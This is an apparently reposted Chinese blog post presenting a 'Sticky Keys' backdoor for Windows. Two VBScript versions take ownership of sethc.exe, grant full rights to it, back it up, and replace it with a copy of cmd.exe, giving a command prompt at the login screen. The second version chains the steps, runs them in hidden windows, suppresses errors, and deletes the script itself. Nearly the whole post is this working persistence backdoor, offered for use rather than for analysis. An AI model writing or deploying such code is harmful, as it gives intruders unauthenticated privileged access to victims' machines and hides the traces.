有意思的后门...

最新推荐文章于 2025-04-21 17:24:18 发布

转载最新推荐文章于 2025-04-21 17:24:18 发布 · 900 阅读

文章标签：

#cmd

脚本网页语言安全和网站攻防专栏收录该内容

68 篇文章

订阅专栏

本文介绍了一种使用VBScript(VBS)脚本的方法，通过修改Windows系统的sethc.exe文件来创建一个隐蔽的后门，该后门实际指向CMD命令提示符程序，从而实现管理员权限下的命令执行环境。

Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)

再更新.加个自删除,简化代码...
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F&copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe&copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)